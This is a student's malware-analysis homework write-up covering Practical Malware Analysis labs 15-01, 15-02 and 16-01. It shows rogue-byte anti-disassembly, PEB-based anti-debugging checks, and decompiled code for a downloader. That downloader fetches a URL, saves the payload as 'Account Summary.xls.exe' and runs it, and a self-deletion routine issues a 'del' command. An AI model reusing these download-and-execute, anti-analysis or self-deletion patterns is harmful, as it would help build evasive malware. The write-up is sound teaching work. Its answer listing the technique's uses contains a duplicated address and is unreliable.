NTU Malware Reverse HW 3 write up

NTU Malware Reverse HW 3 write up

tags: NTU_MR Malware Reverse Engineering and Analysis

[TOC] | Name| 何秉學 |StuID| R11921A16| | ——– | ——– | ——– | ——– |

Task 1: Lab 15-01.exe

Observation

  • When I execute the file, it print out a message: Son, I am disappoint. Refer to the description below, I must enter some parameter that match the secret code.

    Analyze the sample found in the file Lab15-01.exe. This is a command-line program that takes an argument and prints Good Job! if the argument matches a secret code.

    Therefore, I use IDA Pro to disassembly the source code directly. However, it has anti-disassembly code in this program and try to make IDA Pro not working properly like the red font shown as below.

    • Note that, if you want to see the byte code, just click Option/General and change Number of opcode bytes(non-graph) from 0 to 6.
  • In this case, we can observe the first red code block first.(8B4C55A0h)
      ...
      .text:0040100C 33 C0           xor     eax, eax
      .text:0040100E 74 01           jz      short near ptr loc_401010+1
      .text:00401010
      .text:00401010                 loc_401010:; CODE XREF: .text:0040100E↑j
      .text:00401010 E8 8B 45 0C 8B  call    near ptr  8B4C55A0h
      .text:00401015 48              dec     eax
      .text:00401016 04 0F           add     al, 0Fh
      .text:00401018 BE 11 83 FA 70  mov     esi, 70FA8311h
      .text:0040101D 75 3F           jnz     short loc_40105E
      ...
    

    Lecture Note P27-P28 Refer to background of jz/jnz, the command xor eax eax will clear register eax and set Z flag as 1(represent it’s zero). Therefore, the next command will always True that will jump to loc_401010+1. Because, IDA Pro observe this jump command, it set the jump location at loc_401010+1. But, this conditional jump is actually unconditional and the jump location is misdirection. It thought the command will begin at E8 but actually it’ll begin at 8B.

    Lecture Note P22 Therefore, we must guide IDA Pro to a right way like below.

      ...
      .text:0040100C 33 C0             xor     eax, eax
      .text:0040100E 74 01             jz      short loc_401011
      .text:0040100E            ; -------------------------------
      .text:00401010 E8                db 0E8h
      .text:00401011            ; -------------------------------
      .text:00401011
      .text:00401011              loc_401011:; CODE XREF: .text:0040100E↑j
      .text:00401011 8B 45 0C           mov     eax, [ebp+0Ch]
      .text:00401011            ; -------------------------------
      .text:00401014 8B                 db  8Bh ; ‹
      .text:00401015            ; -------------------------------
      .text:00401015 48                 dec     eax
      .text:00401016 04 0F              add     al, 0Fh
      .text:00401018 BE 11 83 FA 70     mov     esi, 70FA8311h
      .text:0040101D 75 3F              jnz     short loc_40105E
      ...
    

    Lecture Note P29 You can see that jumping location turn to correctly named loc_401011. In addition, we found the rogue byte(流氓字節), E8, and turn into database(db). Then, we just keep doing this process and turn rogue byte to data.

    • Note that, in .text:00401014, IDA Pro judge 8B is a data. However, after the correction of rogue byte, it should be transfer one by one. That is, 8B should be an opcode instead a data, so you must change it by hand just as below. You’ll see a huge difference to previous version.
        .text:00401011         loc_401011:; CODE XREF: .text:0040100E↑j
        .text:00401011 8B 45 0C     mov     eax, [ebp+0Ch]
        .text:00401014 8B 48 04     mov     ecx, [eax+4]
        .text:00401017 0F BE 11     movsx   edx, byte ptr [ecx]
        .text:0040101A 83 FA 70     cmp     edx, 70h
        .text:0040101D 75 3F        jnz     short loc_40105E
      
  • Rogue Byte 2
    • Before(8B4C55B3h)
        ...
        .text:0040101F 33 C0                             xor     eax, eax
        .text:00401021 74 01                             jz      short near ptr loc_401023+1
        .text:00401023
        .text:00401023                   loc_401023:; CODE XREF: .text:00401021↑j
        .text:00401023 E8 8B 45 0C 8B                    call    near ptr 8B4C55B3h
        .text:00401028 48                                dec     eax
        .text:00401029 04 0F                             add     al, 0Fh
        .text:0040102B BE 51 02 83 FA                    mov     esi, 0FA830251h
        .text:00401030 71 75                             jno     short near ptr loc_4010A4+3
        .text:00401032 2B 33                             sub     esi, [ebx]
        .text:00401034 C0 74 01 E8 8B                    sal     byte ptr [ecx+eax-18h], 8Bh
        ...
      
    • After
        ...
        .text:0040101F 33 C0                             xor     eax, eax
        .text:00401021 74 01                             jz      short loc_401024
        .text:00401021                   ; -----------------------------
        .text:00401023 E8                                db 0E8h
        .text:00401024                   ; -----------------------------
        .text:00401024
        .text:00401024                   loc_401024:; CODE XREF: .text:00401021↑j
        .text:00401024 8B 45 0C                          mov     eax, [ebp+0Ch]
        .text:00401024                   ; -----------------------------
        .text:00401027 8B                                db  8Bh ; ‹
        .text:00401028                   ; -----------------------------
        .text:00401028 48                                dec     eax
        .text:00401029 04 0F                             add     al, 0Fh
        .text:0040102B BE 51 02 83 FA                    mov     esi, 0FA830251h
        .text:00401030 71 75                             jno     short near ptr loc_4010A4+3
        .text:00401032 2B 33                             sub     esi, [ebx]
        .text:00401034 C0 74 01 E8 8B                    sal     byte ptr [ecx+eax-18h], 8Bh
        ...
      
    • Final
        ...
        .text:0040101F 33 C0                             xor     eax, eax
        .text:00401021 74 01                             jz      short loc_401024
        .text:00401021                   ; -----------------------------
        .text:00401023 E8                                db 0E8h
        .text:00401024                   ; -----------------------------
        .text:00401024
        .text:00401024                   loc_401024:; CODE XREF: .text:00401021↑j
        .text:00401024 8B 45 0C                          mov     eax, [ebp+0Ch]
        .text:00401027 8B 48 04                          mov     ecx, [eax+4]
        .text:0040102A 0F BE 51 02                       movsx   edx, byte ptr [ecx+2]
        .text:0040102E 83 FA 71                          cmp     edx, 71h
        .text:00401031 75 2B                             jnz     short loc_40105E
        .text:00401033 33 C0                             xor     eax, eax
        .text:00401035 74 01                             jz      short near ptr loc_401037+1
        ...
      
  • Rogue Byte hidden(It’s a hidden misdirection)
    • Before(8B4C55C7h)
        ...
        .text:00401033 33 C0                             xor     eax, eax
        .text:00401035 74 01                             jz      short near ptr loc_401037+1
        .text:00401037
        .text:00401037                   loc_401037:; CODE XREF: .text:00401035↑j
        .text:00401037 E8 8B 45 0C 8B                    call    near ptr 8B4C55C7h
        .text:0040103C 48                                dec     eax
        .text:0040103D 04 0F                             add     al, 0Fh
        .text:0040103F BE 51 01 83 FA                    mov     esi, 0FA830151h
        .text:00401044                                   db      64h
        .text:00401044 64 75 17                          jnz     short loc_40105E
        ...
      
    • After
        ...
        .text:00401033 33 C0                             xor     eax, eax
        .text:00401035 74 01                             jz      short loc_401038
        .text:00401035                   ; -----------------------------
        .text:00401037 E8                                db 0E8h
        .text:00401038                   ; -----------------------------
        .text:00401038
        .text:00401038                   loc_401038:; CODE XREF: .text:00401035↑j
        .text:00401038 8B 45 0C                          mov     eax, [ebp+0Ch]
        .text:00401038                   ; -----------------------------
        .text:0040103B 8B                                db  8Bh ; ‹
        .text:0040103C                   ; -----------------------------
        .text:0040103C 48                                dec     eax
        .text:0040103D 04 0F                             add     al, 0Fh
        .text:0040103F BE 51 01 83 FA                    mov     esi, 0FA830151h
        .text:00401044                                   db      64h
        .text:00401044 64 75 17                          jnz     short loc_40105E
        ...
      
    • Final
        ...
        .text:00401033 33 C0                             xor     eax, eax
        .text:00401035 74 01                             jz      short loc_401038
        .text:00401035                   ; -----------------------------
        .text:00401037 E8                                db 0E8h
        .text:00401038                   ; -----------------------------
        .text:00401038
        .text:00401038                   loc_401038:; CODE XREF: .text:00401035↑j
        .text:00401038 8B 45 0C                          mov     eax, [ebp+0Ch]
        .text:0040103B 8B 48 04                          mov     ecx, [eax+4]
        .text:0040103E 0F BE 51 01                       movsx   edx, byte ptr [ecx+1]
        .text:00401042 83 FA 64                          cmp     edx, 64h
        .text:00401045 75 17                             jnz     short loc_40105E
        ...
      
  • Rogue Byte 3
    • Before(407020B8h)
        ...
        .text:00401047 33 C0                             xor     eax, eax
        .text:00401049 74 01                             jz      short near ptr loc_40104B+1
        .text:0040104B
        .text:0040104B                   loc_40104B:; CODE XREF: .text:00401049↑j
        .text:0040104B E8 68 10 30 40                    call    near ptr 407020B8h
        .text:00401050 00 FF                             add     bh, bh
        .text:00401052 15 00 20 40 00                    adc     eax, offset printf
        .text:00401057 83 C4 04                          add     esp, 4
      
    • After
        ...
        .text:00401047 33 C0                             xor     eax, eax
        .text:00401049 74 01                             jz      short loc_40104C
        .text:00401049                   ; ----------------------------------
        .text:0040104B E8                                db 0E8h
        .text:0040104C                   ; ----------------------------------
        .text:0040104C
        .text:0040104C                   loc_40104C:; CODE XREF: .text:00401049↑j
        .text:0040104C 68 10 30 40 00                    push    offset aGoodJob ; "Good Job!"
        .text:0040104C                   ; ----------------------------------
        .text:00401051 FF                                db 0FFh ; ÿ
        .text:00401052                   ; ----------------------------------
        .text:00401052 15 00 20 40 00                    adc     eax, offset printf
        .text:00401057 83 C4 04                          add     esp, 4
        .text:0040105A 33 C0                             xor     eax, eax
        .text:0040105C EB 15                             jmp     short loc_401073
        ...
      
    • Final
        ...
        .text:00401047 33 C0                             xor     eax, eax
        .text:00401049 74 01                             jz      short loc_40104C
        .text:00401049                   ; ----------------------------------
        .text:0040104B E8                                db 0E8h
        .text:0040104C                   ; ----------------------------------
        .text:0040104C
        .text:0040104C                   loc_40104C:; CODE XREF: .text:00401049↑j
        .text:0040104C 68 10 30 40 00                    push    offset aGoodJob ; "Good Job!"
        .text:00401051 FF 15 00 20 40 00                 call    ds:printf
        .text:00401057 83 C4 04                          add     esp, 4
        .text:0040105A 33 C0                             xor     eax, eax
        .text:0040105C EB 15                             jmp     short loc_401073
        ...
      
  • Rogue Byte 4
    • Before
        ...
        .text:0040105E 33 C0                             xor     eax, eax
        .text:00401060 74 01                             jz      short near ptr loc_401062+1
        .text:00401062
        .text:00401062                   loc_401062:; CODE XREF: .text:00401060↑j
        .text:00401062 E8 68 1C 30 40                    call    near ptr 40702CCFh
        .text:00401067 00 FF                             add     bh, bh
        .text:00401069 15 00 20 40 00                    adc     eax, offset printf
        .text:0040106E 83 C4 04                          add     esp, 4
        .text:00401071 33 C0                             xor     eax, eax
        ...
      
    • After
        ...
        .text:0040105E 33 C0                             xor     eax, eax
        .text:00401060 74 01                             jz      short loc_401063
        .text:00401060                   ; -------------------------------------
        .text:00401062 E8                                db 0E8h
        .text:00401063                   ; -------------------------------------
        .text:00401063
        .text:00401063                   loc_401063:; CODE XREF: .text:00401060↑j
        .text:00401063 68 1C 30 40 00                    push    offset aSonIAmDisappoi ; "Son, I am disappoint."
        .text:00401063                   ; -------------------------------------
        .text:00401068 FF                                db 0FFh ; ÿ
        .text:00401069                   ; -------------------------------------
        .text:00401069 15 00 20 40 00                    adc     eax, offset printf
        .text:0040106E 83 C4 04                          add     esp, 4
        .text:00401071 33 C0                             xor     eax, eax
        ...
      
    • Final
        ...
        .text:0040105E 33 C0                             xor     eax, eax
        .text:00401060 74 01                             jz      short loc_401063
        .text:00401060                   ; -------------------------------------
        .text:00401062 E8                                db 0E8h
        .text:00401063                   ; -------------------------------------
        .text:00401063
        .text:00401063                   loc_401063:; CODE XREF: .text:00401060↑j
        .text:00401063 68 1C 30 40 00                    push    offset aSonIAmDisappoi ; "Son, I am disappoint."
        .text:00401068 FF 15 00 20 40 00                 call    ds:printf
        .text:0040106E 83 C4 04                          add     esp, 4
        .text:00401071 33 C0                             xor     eax, eax
        ...
      
  • Almost Done. However, you’ll encounter another problem that can not use F5 to disassembly. A window said please position the cursor within a function. Refer to this page can check the problem and solution. After you address this problem then you can disassembly by pressing F5.
      int __cdecl main(int argc, const char **argv, const char **envp)
      {
        int result; // eax
    
        if ( argc != 2 || *argv[1] != 'p' || argv[1][2] != 'q' || argv[1][1] != 'd' )
        {
          printf(aSonIAmDisappoi);
          result = 0;
        }
        else
        {
          printf(Format);
          result = 0;
        }
        return result;
      }
    

    By observing this code, we can recognize the secret code pdq(Note that, must be a correct sequence)

Question

  1. What anti-disassembly technique is used in this binary? Ans: Refer to background of jz/jnz, the command xor eax eax will clear register eax and set Z flag as 1(represent it’s zero). Therefore, the next command will always True that will jump to loc_401010+1. Because, IDA Pro observe this jump command, it set the jump location at loc_401010+1. But, this conditional jump is actually unconditional and the jump location is misdirection. It thought the command will begin at E8 but actually it’ll begin at 8B.
  2. What rogue opcode is the disassembly tricked into disassembling? Ans: Opcode `0xE8`
  3. How many times is this technique used? Ans: 5 times as below
    1
    2
    3
    4
    5
    .text:00401010 E8 8B 45 0C 8B  call    near ptr 8B4C55A0h
    .text:00401023 E8 8B 45 0C 8B  call    near ptr 8B4C55B3h
    .text:00401023 E8 8B 45 0C 8B  call    near ptr 8B4C55B3h
    .text:0040104B E8 68 10 30 40  call    near ptr 407020B8h
    .text:00401062 E8 68 1C 30 40  call    near ptr 40702CCFh
    
  4. What command-line argument will cause the program to print “Good Job!”? Ans: pdq

Task 2: Lab 15-02.exe

Observation

First things first, we can observe that this files has anti-disassembly section. Therefore, before disassembling, we must fix the jump location to correct address. And, the detail of how to fix it can refer last problem.

Fix

  • Before(`0AA11CDh`)
      ...
      .text:0040115A 85 E4                             test    esp, esp
      .text:0040115C 75 01                             jnz     short near ptr loc_40115E+1
      .text:0040115E
      .text:0040115E                   loc_40115E:; CODE XREF: .text:0040115C↑j
      .text:0040115E E9 6A 00 6A 00                    jmp     near ptr 0AA11CDh
      .text:0040115E                   ; ---------------------------
      .text:00401163 6A                                db 6Ah
      ...
    
  • After
      ...
      .text:0040115A 85 E4                             test    esp, esp
      .text:0040115C 75 01                             jnz     short loc_40115F
      .text:0040115C                   ; ---------------------------
      .text:0040115E E9                                db 0E9h
      .text:0040115F                   ; ---------------------------
      .text:0040115F
      .text:0040115F                   loc_40115F:; CODE XREF: .text:0040115C↑j
      .text:0040115F 6A 00                             push    0
      .text:00401161 6A 00                             push    0
      .text:00401163 6A 00                             push    0
      .text:00401165 6A 00                             push    0
      .text:00401167 E8 1A 02 00 00                    call    sub_401386
      ...
    

  • Before(`40704241h`)
      ...
      .text:004011D0 33 C0                             xor     eax, eax
      .text:004011D2 74 01                             jz      short near ptr loc_4011D4+1
      .text:004011D4
      .text:004011D4                   loc_4011D4:; CODE XREF: .text:004011D2↑j
      .text:004011D4 E8 68 30 30 40                    call    near ptr 40704241h
      .text:004011D9 00 8D 95 60 FD FE                 add     [ebp-1029F6Bh], cl
      .text:004011DF FF 52 FF                          call    dword ptr [edx-1]
      .text:004011E2 15 2C 20 40 00                    adc     eax, offset strstr
      ...
    
  • After
      ...
      .text:004011D0 33 C0                             xor     eax, eax
      .text:004011D2 74 01                             jz      short loc_4011D5
      .text:004011D2                   ; ---------------------------
      .text:004011D4 E8                                db 0E8h
      .text:004011D5                   ; ---------------------------
      .text:004011D5
      .text:004011D5                   loc_4011D5:; CODE XREF: .text:004011D2↑j
      .text:004011D5 68 30 30 40 00                    push    offset aBamboo  ; "Bamboo::"
      .text:004011DA 8D 95 60 FD FE FF                 lea     edx, [ebp-102A0h]
      .text:004011E0 52                                push    edx
      .text:004011E1 FF 15 2C 20 40 00                 call    ds:strstr
      ...
    

  • Before(`loc_401215`)
      ...
      .text:00401215                   loc_401215:; CODE XREF: .text:loc_401215↑j
      .text:00401215 EB FF                             jmp     short near ptr loc_401215+1
      .text:00401215                   ; ---------------------------
      .text:00401217 C0                                db 0C0h ; À
      .text:00401218 48                                db  48h ; H
      .text:00401219 E8                                db 0E8h ; è
      .text:0040121A F1                                db 0F1h ; ñ
      ...
    
  • After
      ...
      .text:00401212                   ; ---------------------------
      .text:00401215 EB                                db 0EBh
      .text:00401216                   ; ---------------------------
      .text:00401216 FF C0                             inc     eax
      .text:00401218 48                                dec     eax
      .text:00401219 E8 F1 00 00 00                    call    sub_40130F
      .text:0040121E 89 85 58 FD FE FF                 mov     [ebp-102A8h], eax
      .text:00401224 68 00 00 A0 00                    push    0A00000h
      .text:00401229 FF 15 28 20 40 00                 call    ds:malloc
      .text:0040122F 83 C4 04                          add     esp, 4
      .text:00401232 89 85 54 FD FE FF                 mov     [ebp-102ACh], eax
      .text:00401238 8B 8D 68 FD FF FF                 mov     ecx, [ebp-298h]
      .text:0040123E 83 C1 08                          add     ecx, 8
      .text:00401241 89 8D 68 FD FF FF                 mov     [ebp-298h], ecx
      .text:00401247 6A 00                             push    0
      .text:00401249 6A 00                             push    0
      .text:0040124B 6A 00                             push    0
      .text:0040124D 6A 00                             push    0
      .text:0040124F 8B 95 68 FD FF FF                 mov     edx, [ebp-298h]
      .text:00401255 52                                push    edx
      .text:00401256 8B 85 5C FD FE FF                 mov     eax, [ebp-102A4h]
      .text:0040125C 50                                push    eax
      .text:0040125D FF 15 64 20 40 00                 call    ds:InternetOpenUrlA
      .text:00401263 89 85 64 FD FF FF                 mov     [ebp-29Ch], eax
      ...
    

Lecture Note P26

  • Before(`0FF3C9FFFh`)
      ...
      .text:00401269 74 03                             jz      short near ptr loc_40126D+1
      .text:0040126B 75 01                             jnz     short near ptr loc_40126D+1
      .text:0040126D
      .text:0040126D                   loc_40126D:; CODE XREF: .text:00401269↑j
      .text:0040126D                                                           ; .text:0040126B↑j
      .text:0040126D E8 8D 8D FC FE                    call    near ptr 0FF3C9FFFh
      .text:0040126D                   ; ---------------------------
      .text:00401272 FF                                db 0FFh ; ÿ
      .text:00401273 FF                                db 0FFh ; ÿ
      .text:00401274 51                                db  51h ; Q
      .text:00401275 68                                db  68h ; h
      ...
    
  • After
      ...
      .text:00401269 74 03                             jz      short loc_40126E
      .text:0040126B 75 01                             jnz     short loc_40126E
      .text:0040126B                   ; ---------------------------
      .text:0040126D E8                                db 0E8h
      .text:0040126E                   ; ---------------------------
      .text:0040126E
      .text:0040126E                   loc_40126E:; CODE XREF: .text:00401269↑j
      .text:0040126E                                                           ; .text:0040126B↑j
      .text:0040126E 8D 8D FC FE FF FF                 lea     ecx, [ebp-104h]
      .text:00401274 51                                push    ecx
      ...
    

  • Before(`0AA1D5Dh`)
      ...
      .text:004012E6                   loc_4012E6:; CODE XREF: .text:004012EC↓j
      .text:004012E6 66 B8 EB 05                       mov     ax, 5EBh
      .text:004012EA 31 C0                             xor     eax, eax
      .text:004012EC 74 FA                             jz      short near ptr loc_4012E6+2
      .text:004012EE E8 6A 0A 6A 00                    call    near ptr 0AA1D5Dh
      .text:004012F3 6A 00                             push    0
      ...
    
  • After
      ...
      .text:004012E3                   ; ---------------------------
      .text:004012E6 66                                db 66h
      .text:004012E7 B8                                db 0B8h ; ¸
      .text:004012E8                   ; ---------------------------
      .text:004012E8
      .text:004012E8                   loc_4012E8:; CODE XREF: .text:004012EC↓j
      .text:004012E8 EB 05                             jmp     short loc_4012EF
      .text:004012EA                   ; ---------------------------
      .text:004012EA 31 C0                             xor     eax, eax
      .text:004012EC 74 FA                             jz      short loc_4012E8
      .text:004012EC                   ; ---------------------------
      .text:004012EE E8                                db 0E8h
      .text:004012EF                   ; ---------------------------
      .text:004012EF
      .text:004012EF                   loc_4012EF:; CODE XREF: .text:loc_4012E8↑j
      .text:004012EF 6A 0A                             push    0Ah
      .text:004012F1 6A 00                             push    0
      ...
    

Analyze

  • After fixing the misdirection location, we can use disassembly function properly.
      int __cdecl main(int argc, const char **argv, const char **envp)
      {
        ...
        Buffer = 0;
        memset(&v8, 0, 65532u);
        v9 = 0;
        v10 = 0;
        if ( WSAStartup(514u, &WSAData) )
          return -1;
        if ( gethostname(name, 256) )
        {
          for ( i = 0; i < 256 && name[i]; ++i )
          {
            switch ( name[i] )
            {
              case 'Z':
                name[i] = 'A';
                break;
              case 'z':
                name[i] = 'a';
                break;
              case '9':
                name[i] = '0';
                break;
              default:
                ++name[i];
                break;
            }
          }
          hInternet = InternetOpenA(name, 1u, 0, 0, 0);
          if ( !&v5 )
            JUMPOUT(*(_DWORD *)&byte_40115E);
          v4 = sub_401386();
          hFile = InternetOpenUrlA(hInternet, v4, 0, 0, 0, 0);
        ...
      }
    
  • You can see that in line `34`. It call a function sub_401386() and set the return value as InterneetOpenUrlA’s parameter. In sub_401386(), it contains lots of string which seems a URL address named **`http://practicalmalwareanalysis.com/bamboo.html`** and InterneetOpenUrlA will visit this URL.

  • Continue analyzing line `30`, refer to Microsoft Document
      HINTERNET InternetOpenA(
        [in] LPCSTR lpszAgent,
        [in] DWORD  dwAccessType,
        [in] LPCSTR lpszProxy,
        [in] LPCSTR lpszProxyBypass,
        [in] DWORD  dwFlags
      );
    

    [in] lpszAgent Pointer to a null-terminated string that specifies the name of the application or entity calling the WinINet functions. This name is used as the user agent in the HTTP protocol.

    We can check user-agent in first parameter, name, of InternetOpenA function. Trace back to line `10` and refer to CSDN Description, this API will return host name from local host. In for-loop, it’ll transfer the host name. Each char ZA, za, 90. In addition, the default method is increasing 1.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
      ...
      for ( i = 0; i < 256 && name[i]; ++i )
      {
        switch ( name[i] )
        {
          case 'Z':
            name[i] = 'A';
            break;
          case 'z':
            name[i] = 'a';
            break;
          case '9':
            name[i] = '0';
            break;
          default:
            ++name[i];
            break;
        }
      }
      ...
    
  • Continue analyzing line `12`
      int __cdecl main(int argc, const char **argv, const char **envp)
      {
          ...
          if ( gethostname(name, 256) )
          {
              ...
              hInternet = InternetOpenA(name, 1u, 0, 0, 0);
              if ( !&v5 )
                  JUMPOUT(*(_DWORD *)&byte_40115E);
              v4 = sub_401386();
              hFile = InternetOpenUrlA(hInternet, v4, 0, 0, 0, 0);
              if ( hFile && InternetReadFile(hFile, &Buffer, 65535u, &dwNumberOfBytesRead) )
              {
                  InternetCloseHandle(hFile);
                  Str = strstr(&Buffer, SubStr);
                  if ( Str )
                  {
                      *strstr(Str, asc_40303C) = 0;
                      JUMPOUT(*(_DWORD *)&byte_401215);
                  }
                  result = 0;
              }
              ...
          }
          ...
      }
    
    • We initialize the internet by InternetOpenA and open an URL by InternetOpenUrlA, then we download the data to local buffer by InternetReadFile.
      • Note that, refer to Microsoft Document. It’ll store the data from open URL to &Buffer.

        Reads data from a handle opened by the InternetOpenUrl, FtpOpenFile, or HttpOpenRequest function.

        BOOL InternetReadFile( [in] HINTERNET hFile, [out] LPVOID lpBuffer, [in] DWORD dwNumberOfBytesToRead, [out] LPDWORD lpdwNumberOfBytesRead );

        [out] lpBuffer Pointer to a buffer that receives the data.

    • Then, we use strstr function(refer to this page) in line `15` to find the first SubStr in &Buffer and return the position of SubStr if it exist, otherwise, return null. What is variable of SubStr? → Bamboo:: .data:00403030 42 61 6D 62 6F 6F+SubStr db 'Bamboo::',0

  • Because IDA can not show the following disassembly code, we just check out the source code instead. Refer to the write up on CSDN.
    • The following code is aim to search the string :: by using strstr function. In addition, in line `.text:00401212`, it move 0 to ptr [eax]. That means put 0 to the first : in ::. It was used to terminate the string between Bamboo:: and ::.
    • In line `.text:0040123E`, ecx+8 means Str+8 and that aim to jump over the string Bamboo:: whose length is also 8.
    • Then, use InternetOpenUrlA in line `.text:0040125D` to open URL

        .text:004011FD                 push    offset asc_40303C ; "::"
        .text:00401202                 mov     eax, [ebp+Str]
        .text:00401208                 push    eax             ; Str
        .text:00401209                 call    ds:strstr
        .text:0040120F                 add     esp, 8
        .text:00401212                 mov     byte ptr [eax], 0
        .text:00401212 ; -------------------------------
        .text:00401215 byte_401215     db 0EBh
        .text:00401216 ; -------------------------------
        .text:00401216                 inc     eax
        .text:00401218                 dec     eax
        .text:00401219                 call    account_summary
        .text:0040121E                 mov     [ebp+Filename], eax
        .text:00401224                 push    0A00000h        ; Size
        .text:00401229                 call    ds:malloc
        .text:0040122F                 add     esp, 4
        .text:00401232                 mov     [ebp+lpBuffer], eax
        .text:00401238                 mov     ecx, [ebp+Str]
        .text:0040123E                 add     ecx, 8
        .text:00401241                 mov     [ebp+Str], ecx
        .text:00401247                 push    0               ; dwContext
        .text:00401249                 push    0               ; dwFlags
        .text:0040124B                 push    0               ; dwHeadersLength
        .text:0040124D                 push    0               ; lpszHeaders
        .text:0040124F                 mov     edx, [ebp+Str]
        .text:00401255                 push    edx             ; lpszUrl
        .text:00401256                 mov     eax, [ebp+hInternet]
        .text:0040125C                 push    eax             ; hInternet
        .text:0040125D                 call    ds:InternetOpenUrlA
        .text:00401263                 mov     [ebp+hFile], eax
        .text:00401269                 jz      short loc_40126E
      
    • Use InternetReadFile to store the data in the file.
        .text:0040126E loc_40126E:                             ; CODE XREF: _main+269↑j
        .text:0040126E                                         ; _main+26B↑j
        .text:0040126E                 lea     ecx, [ebp+dwNumberOfBytesRead]
        .text:00401274                 push    ecx             ; lpdwNumberOfBytesRead
        .text:00401275                 push    10000h          ; dwNumberOfBytesToRead
        .text:0040127A                 mov     edx, [ebp+lpBuffer]
        .text:00401280                 push    edx             ; lpBuffer
        .text:00401281                 mov     eax, [ebp+hFile]
        .text:00401287                 push    eax             ; hFile
        .text:00401288                 call    ds:InternetReadFile
        .text:0040128E                 test    eax, eax
        .text:00401290                 jz      short loc_401306
      
    • The file name store in ecx register. And ecx is associated with Filename at line `.text:004012A0`. Therefore, we trace back to where it from at line `.text:0040121E`
        .text:0040129B                 push    offset Mode     ; "wb"
        .text:004012A0                 mov     ecx, [ebp+Filename]
        .text:004012A6                 push    ecx             ; Filename
        .text:004012A7                 call    ds:fopen
        .text:004012AD                 add     esp, 8
        .text:004012B0                 mov     [ebp+File], eax
        .text:004012B6                 mov     edx, [ebp+File]
        .text:004012BC                 push    edx             ; File
        .text:004012BD                 push    1               ; Count
        .text:004012BF                 mov     eax, [ebp+dwNumberOfBytesRead]
        .text:004012C5                 push    eax             ; Size
        .text:004012C6                 mov     ecx, [ebp+lpBuffer]
        .text:004012CC                 push    ecx             ; Str
        .text:004012CD                 call    ds:fwrite
        .text:004012D3                 add     esp, 10h
        .text:004012D6                 mov     edx, [ebp+File]
        .text:004012DC                 push    edx             ; File
        .text:004012DD                 call    ds:fclose
        .text:004012E3                 add     esp, 4
      
      • Following the code below, eax register is the return value from function account_summary. Then, we can trace back to what function account_summary is.
          .text:00401219                 call    account_summary
          .text:0040121E                 mov     [ebp+Filename], eax
          .text:00401224                 push    0A00000h        ; Size
        
      • The image below is the function accout_summary. By concatenating the whole characters → `Account Summary.xls.exe`. And this is the file name that we download the data from URL.
    • Then, it used ShellExecuteA to execute this file and quit the process directly.
        .text:004012EF loc_4012EF:                             ; CODE XREF: _main:loc_4012E8↑j
        .text:004012EF                 push    0Ah             ; nShowCmd
        .text:004012F1                 push    0               ; lpDirectory
        .text:004012F3                 push    0               ; lpParameters
        .text:004012F5                 mov     eax, [ebp+Filename]
        .text:004012FB                 push    eax             ; lpFile
        .text:004012FC                 push    0               ; lpOperation
        .text:004012FE                 push    0               ; hwnd
        .text:00401300                 call    ds:ShellExecuteA
      

Question

  1. What URL is initially requested by the program? Ans: http://practicalmalwareanalysis.com/bamboo.html
  2. How is the User-Agent generated? Ans: Trace back to line `10` and refer to CSDN Description, this API will return host name from local host. In for-loop, it’ll transfer the host name. Each char ZA, za, 90. In addition, the default method is increasing 1.
  3. What does the program look for in the page it initially requests? Ans: Bamboo::
  4. What does the program do with the information it extracts from the page? Ans: In addition to search the string Bamboo::, the process search another string :: which is transferred to a NULL(terminate symbol). The whole string between Bamboo:: and terminated symbol were be downloaded to file named Account Summary.xls.exe and executing the file after the downloading.

Task 3: Lab 16-01.exe

Observation

When I execute this file, it seems to do nothing except delete itself, even I didn’t open x32dbg. And refer to this problem description, we can aware that this file exist anti-debugging function to prevent our work.

Analysis

  • First things first, we use IDA Pro to do static analysis. To use graph view to observe the whole structure in this program. We can see that a lots of sub_401000 in false statement after if statement. So, step into this sub function as below.
      void __noreturn sub_401000()
      {
        CHAR Filename; // [esp+Ch] [ebp-208h]
        CHAR Parameters; // [esp+110h] [ebp-104h]
    
        GetModuleFileNameA(0, &Filename, 260u);
        GetShortPathNameA(&Filename, &Filename, 260u);
        strcpy(&Parameters, aCDel);
        strcat(&Parameters, &Filename);
        strcat(&Parameters, aNul);
        ShellExecuteA(0, 0, File, &Parameters, 0, 0);
        exit(0);
      }
    

    What is &Parameters? → Like a buffer store nothing. What is aCDel? → db '/c del ',0 What is aNul? → db ' >> NUL',0

    It used strcpy and strcat function to construct a shell code, /c del $Filename >> NUL, which will delete the file that can not retrieve. Check this.

    So, our purpose is let if-statement be true and skip sub_401000 function.

  • x32dbg Therefore, we used x32dbg to analyze it.
    • 1st sub_401000 at `0040356E` Set EAX be 0 so that we can skip the delete function. Refer to Lecture Note P59, fs:[30] is the reference location of PEB(Microsoft Document), and this is obviously checking the BeingDebugged flag.(Notice that [eax+2] means PEB table’s 2nd position → BeingDebugged)
        ...
        .text:00403554                 mov     eax, large fs:30h
        .text:0040355A                 mov     bl, [eax+2]
        .text:0040355D                 mov     [ebp+var_1820], bl
        .text:00403563                 movsx   eax, [ebp+var_1820]
        .text:0040356A                 test    eax, eax
        .text:0040356C                 jz      short loc_403573
        .text:0040356E                 call    sub_401000
        ...
      
    • 2nd sub_401000 at `0040358F` Double click ZF to set it as 1, then you can skip delete function Refer to Lecture Note P60, [eax+18h] is obviously checked ProcessHeap flag
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
        ...
        .text:00403573 loc_403573:; CODE XREF: _main+3Cj
        .text:00403573                 mov     eax, large fs:30h
        .text:00403579                 mov     eax, [eax+18h]
        .text:0040357C                 db      3Eh
        .text:0040357C                 mov     eax, [eax+10h]
        .text:00403580                 mov     [ebp+var_1824], eax
        .text:00403586                 cmp     [ebp+var_1824], 0
        .text:0040358D                 jz      short loc_403594
        .text:0040358F                 call    sub_401000
        ...
      
    • 3rd sub_401000 at `004035B0` Set EAX be 0 so that we can skip the delete function. Refer to Lecture Note P62, [eax+68h] is obviously checked NTGlobalFlag.
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
        ...
        .text:00403594 loc_403594:; CODE XREF: _main+5Dj
        .text:00403594                 mov     eax, large fs:30h
        .text:0040359A                 db      3Eh
        .text:0040359A                 mov     eax, [eax+68h]
        .text:0040359E                 sub     eax, 70h
        .text:004035A1                 mov     [ebp+var_1828], eax
        .text:004035A7                 cmp     [ebp+var_1828], 0
        .text:004035AE                 jnz     short loc_4035B5
        .text:004035B0                 call    sub_401000
        ...
      
  • After these fixing, we can normally analyze this sample like Lab9-1.

Question

